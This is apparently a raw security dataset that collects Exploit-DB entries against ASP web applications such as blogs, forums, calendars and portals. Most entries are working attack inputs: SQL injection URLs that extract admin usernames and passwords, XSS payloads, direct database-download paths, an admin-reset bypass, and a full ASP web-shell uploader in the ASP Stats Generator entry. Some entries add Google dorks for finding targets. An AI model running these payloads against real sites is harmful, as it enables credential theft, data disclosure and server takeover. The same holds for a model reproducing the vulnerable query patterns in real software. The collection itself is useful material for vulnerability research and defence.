deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10780
Description: ASP Battle Blog - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Asp Battle Blog DB Download Vulnerability                               |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Battle Blog                                                             |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/Battle_Blog/database/blankmaster.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #30331
Description: ASP cvmatik 1.1 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-07-23
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25008/info

Asp cvmatik is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Asp cvmatik 1.1 is vulnerable. 

<html><head></head><body>1-http://www.example.com/cv.asp

You write xss code in  page's text box

Adý <script>alert("G3");</script>
or
Soyadý<script>alert("G3");</script>
or
Ehliyet  <script>alert("G3");</script>
or
Askerlik    <script>alert("G3");</script>
or
GSM   <script>alert("G3");</script>
etc...

Press to "tamam"(ok) button.

2-next page

</body></html>
Exploit-DB #5780
Description: ASP Download 1.03 - Arbitrary Change Administrator Account
Type: webapps
Platform: asp
Date: 2008-06-10
Author: Zigma

Exploit:
                                    \  ASPDownload v 1.03 Remote Admin Bypass Exploit   /
                                     \                                                 /
                                      \_______________________________________________/



[+] Author      : Underz0ne Crew
[+] Script      : ASPDownload v 1.03
[+] Risk        : High
[+] Script URL  : http://www.toddwoolums.com/aspdownload.asp
[+] Dork        : Powered by AspDownload

--//--> Exploit Area :

[+] Description : The problem is that the script's owner doesnt request a Login page for the DANGEROUS file setupdownload.asp where we can RESET the admin's 
access and change the admin's informations for whatever we want !

[+] How to Exploit :

1) Go to : http://dork.cc/PathToScript/setupdownload.asp
2) Change the Info's
3) Login with the new informations in default.asp page
4) Upload an ASP shell from the upload.asp page

So simple!


[+] Greetz : stack , Bl@ckbe@rD , Djekmani , HouSSamiX  

# milw0rm.com [2008-06-10]
Exploit-DB #3186
Description: ASP EDGE 1.2b - 'user.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-24
Author: ajann

Exploit:
*******************************************************************************
# Title   :  ASP EDGE <= V1.2b (user.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://aspedge.cjb.net || http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=7530&lngWId=4
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//user.asp?user=[SQL]

Example:

//user.asp?user='union%20select%20username,0,username,0,password,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-24]
Exploit-DB #26435
Description: ASP Fast Forum - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-10-27
Author: syst3m_f4ult

Exploit:
source: https://www.securityfocus.com/bid/15233/info

ASP Fast Forum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/error.asp?error=[XSS]
Exploit-DB #30159
Description: ASP Folder Gallery - 'Download_Script.asp' Arbitrary File Download
Type: webapps
Platform: asp
Date: 2007-06-06
Author: freeprotect.net

Exploit:
source: https://www.securityfocus.com/bid/24345/info

ASP Folder Gallery is prone to an arbitrary-file-download vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the affected webserver. 

http://www.example.com/aspfoldergallery/download_script.asp?file=viewimage.asp
Exploit-DB #32629
Description: ASP Forum Script - 'default.asp' Query String Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32571/info
   
ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/[Path]/default.asp?>"'><ScRiPt>alert(1369)</ScRiPt>
Exploit-DB #32628
Description: ASP Forum Script - 'messages.asp?forum_id' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32571/info
  
ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/[Path]/messages.asp?forum_id=>'><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&message_id=197
Exploit-DB #32626
Description: ASP Forum Script - 'messages.asp?message_id' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32571/info

ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Path]/messages.asp?forum_id=3&message_id=[SQL]
Exploit-DB #32485
Description: ASP Indir Iltaweb Alisveris Sistemi - 'xurunler.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-13
Author: tRoot

Exploit:
source: https://www.securityfocus.com/bid/31740/info

ASP Indir Iltaweb Alisveris Sistemi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/urunler.asp?catno=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from users
Exploit-DB #8756
Description: asp inline Corporate Calendar - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-05-21
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : ASP Talk 

[+] Exploit Type         : Multiple Exploits (SQL/CSS)

[+] Google Dork          : intitle:"ASP inline corporate calendar"          inurl:.asp?id=

[+] Contact              : blackbeard-sql A.T hotmail.fr 

--//--> Exploit : 

1)Cross site scripting :

http://[website]/[script]/search.asp?keyword=<script>alert('bl@ckbe@rd');</script>&SearchIn=All

post = <script>alert('Bl@clbe@rD Is Here');</script>

2) Remote sql injection Exploit :

http://[website]/[script]/active_appointments.asp?sortby=Event_Title&order=DESC+union+select+(number of columns)+from+users

[peace xD]

# milw0rm.com [2009-05-21]
Exploit-DB #25595
Description: ASP Inline Corporate Calendar 3.6.3 - 'Defer.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-04
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/13485/info

ASP Inline Corporate Calendar is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/Calendar/defer.asp?Event_ID='&Occurr_ID=0
Exploit-DB #25596
Description: ASP Inline Corporate Calendar 3.6.3 - 'Details.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-04
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/13487/info

ASP Inline Corporate Calendar is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/Calendar/details.asp?Event_ID='
Exploit-DB #29176
Description: ASP ListPics 5.0 - 'Listpics.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21279/info

ASP ListPics is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

ASP ListPics version 5.0 is vulnerable.

http://www.example.com/path/listpics.asp?a=show&ID=[SQL INJECTION]
Exploit-DB #4609
Description: ASP Message Board 2.2.1c - SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-05
Author: Q7x

Exploit:
* Bug Found On : "ASP Message Board"
*
* Found By : Q7x
* 
* Home : Www.Larestankids.coM ( Ashiyane2 Security Team )
*
* Dork : inurl:"printer.asp?forum="
*
* Version : 2.2.1c
*
* Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit
*
* Exploit : Admin User / Password : http://www.site.com/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS))

# milw0rm.com [2007-11-05]
Exploit-DB #3187
Description: ASP NEWS 3.0 - 'news_detail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-24
Author: ajann

Exploit:
*******************************************************************************
# Title   :  ASP NEWS <= V3 (news_detail.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.planetgraphic.de/

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news_detail.asp?id=[SQL]

Example:

//news_detail.asp?id=-1%20union%20select%200,username,password,0,0,0%20from%20tblusers

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-24]
Exploit-DB #14969
Description: ASP Nuke - SQL Injection
Type: webapps
Platform: asp
Date: 2010-09-11
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub11-asp-nuke-sql-injection-vulnerability/
'''

Abysssec Inc Public Advisory
 
 
  Title            :  ASP Nuke Sql Injection Vulnerability
  Affected Version :  AspNuke 0.80
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.aspnuke.com


  Download Links   :  http://sourceforge.net/projects/aspnukecms/

 
Description :
===========================================================================================      

1)- SQl Injection
  This version of ASP Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.


  Valnerable Code  in .../module/article/article/article.asp:

  Ln 37:
        sStat = "SELECT	art.ArticleID, art.Title, art.ArticleBody, " &_
		"		auth.FirstName, auth.LastName, " &_
		"		cat.CategoryName, art.CommentCount, " &_
		"		art.Created " &_
		"FROM	tblArticle art " &_
		"INNER JOIN	tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_
		"INNER JOIN	tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_
		"INNER JOIN	tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_
		"WHERE	art.ArticleID = " & steForm("articleid") & " " &_
		"AND	art.Active <> 0 " &_
		"AND	art.Archive = 0"


   Considering to the code, you can browse these URLs:
   
       http://www.site.com/module/article/article/article.asp?articleid=7'                 (the false Query will be shown)
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--    (this Query is always  true) 

   with the following URL you can find the first character of Username:  
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--
   
   and second character:
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--
   
   and so on.
   
   So you gain Admin's information like this:
       Username : admin
       Password : (sha256 hash)


   Which the Password was encrypted by SHA algorithm using .../lib/sha256.asp file.


===========================================================================================
Exploit-DB #7357
Description: ASP Portal - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-12-05
Author: AlpHaNiX

Exploit:
###########################################################################
#---------------------------------------------------OffensiveTrack--------------------------------------------------------#
###########################################################################

---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Merlix ASP PORTAL
#download : null
#Demo     : http://demo.merlix.com/portal/


#Exploit :
--=[SQL INJECTION]=--
http://demo.merlix.com/portal/classifieds.asp?ItemID=-0+union+select+1,2,3,4,5,6,7,8,9,10+from+Directory
http://demo.merlix.com/portal/Events.asp?ID=-0+union+select+1,2,3,4,5,6,7,8+from+Directory



#Greetz For Synex

###########################################################################

# milw0rm.com [2008-12-05]
Exploit-DB #7361
Description: ASP PORTAL - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-06
Author: ZoRLu

Exploit:
[~] ASPAPPS Portal DD Remote Vuln.
[~]
[~] script: http://www.aspapps.com
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/portal/xportal.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-06]
Exploit-DB #30629
Description: ASP Product Catalog 1.0 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-01
Author: joseph.giron13

Exploit:
source: https://www.securityfocus.com/bid/25884/info

ASP Product Catalog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Catalog/default.asp?cid=8%20union%20all%20select%20Password,User_ID,Password,User_ID,Password,User_ID,Password%20from%20admin#
http://www.example.comdefault.asp?cid=-999 union select 0,user_id,password,3,4,5 from admin
Exploit-DB #2779
Description: ASP Smiley 1.0 - 'default.asp' Authentication Bypass / SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: ajann

Exploit:
*******************************************************************************
# Title  :  ASP Smiley v1.0 (default.asp) Remote Login ByPass SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************
Example:

###http://[target]/[path]/admin/

UserName: ' union select 0,0,0,0,0,0,0,0 from categories


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-14]
Exploit-DB #1931
Description: ASP Stats Generator 2.1.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2006-06-19
Author: Hamid Ebadi

Exploit:
/*------------------------------------------------
		IHS Public advisory 
-------------------------------------------------*/

ASP Stats Generator SQL-ASP injection - Code Excution 
ASP Stats Generator is a powerful website counter, completely written in ASP programming language.
The application is able to track web site activity generating graphical and statistical reports.
It combines a server side class with a javascript system to get a wide range of visitors' details.
http://www.weppos.com

Credit:
The information has been provided by Hamid Ebadi (IHS : IRAN HOMELAND SECURITY)
The original article can be found at: 

http://www.IHSteam.com
http://www.hamid.ir/security/


Vulnerable Systems:
ASP Stats Generator 2.1.1 - 2.1 and below

SQL injection :

Example :
The following URL can be used to trigger an SQL injection vulnerability in the pages.asp:
http://localhost/myasg/pages.asp?order='&mese=1

Microsoft JET Database Engine error '80040e14' 
Syntax error in string in query expression 'SUM(Visits) ''. 
/myasg/pages.asp, line 236 

Exploit :

http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from tblst_config&mese=1


ASP Code Injection  :
Input passed to the strAsgSknPageBgColour (and ...) in "settings_skin.asp"  isn't properly sanitised before being stored in the "inc_skin_file.asp".
This can be exploited to inject  arbitrary ASP code.

Exploit :

#F9F9F9" : dim path,hstr, mpath, content, filename: mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content = request("content"): filename = request("filename"): on error resume next: Dim objFSO,f: Set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): if not filename = "" then: response.Write( "Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path = filename: end if: if not content="" then: response.Write( "Contented.<BR>" ): set f = objFSO.CreateTextFile( path ): response.Write( err.Description & "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>" ): f.close: end if	%><%=filename%><BR><%=path%><BR><%= Request("path") %><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1" ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content" rows="15" cols="46" ><%=content%>&lt;/textarea&gt;</TD></TR><TR><TD><P align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text" name="filename" value="<%=filename%>" ></P><P align="center"><INPUT type="submit" value="Upload" ID="Submit1" NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error goto 0: hstr = "
[m.r.roohian]
attacker can upload  "cmd.asp" with this uploader and ...


Solution:
use ASP Stats Generator v2.1.2 (18/06/2006 )

# milw0rm.com [2006-06-19]
Exploit-DB #7378
Description: asp talk - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-07
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : ASP Talk 

[+] Exploit Type         : Multiple Exploits (SQL/CSS)

[+] Google Dork          : inurl:treplies.asp?message=     intitle:ASP Talk

[+] Contact              : blackbeard-sql A.T hotmail.fr 

--//--> Exploit : 

1)Cross site scripting :

http://[website]/[script]/search.htm

post = <script>alert('Bl@clbe@rD Is Here')</script>

2) Remote sql injection Exploit :

http://[website]/[script]/treplies.asp?message=20814+union+select+1,2,3,4,5,6,7,8+from+msysobjects

[peace xD]

# milw0rm.com [2008-12-07]